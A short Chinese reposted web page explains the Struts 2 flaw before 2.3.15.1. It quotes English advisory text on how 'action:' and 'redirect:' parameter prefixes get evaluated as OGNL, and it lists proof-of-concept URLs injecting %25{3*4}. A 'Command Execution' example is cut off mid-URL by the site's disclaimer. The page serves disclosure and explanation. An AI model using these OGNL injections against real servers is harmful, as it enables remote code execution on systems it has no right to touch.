?Struts 2的漏洞原理：
Struts又爆远程代码执行漏洞！在这次的漏洞中，攻击者可以通过操纵参数远程执行恶意代码。Struts?2.3.15.1之前的版本，参数action的值redirect以及redirectAction没有正确过滤，导致ognl代码执行。
?
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.
In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
?
In the Struts Blank App, open following URLs.
- Simple Expression - the parameter names are evaluated as OGNL.
-
http://host/struts2-blank/example/X.action?action:%25{3*4} -
http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
-
- Command Execution
-
http://host/struts2-blank/examp免责声明： 本文仅代表作者个人观点，与爱易网无关。其原创性以及文中陈述文字和内容未经本站证实，对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺，请读者仅作参考，并请自行核实相关内容。
-
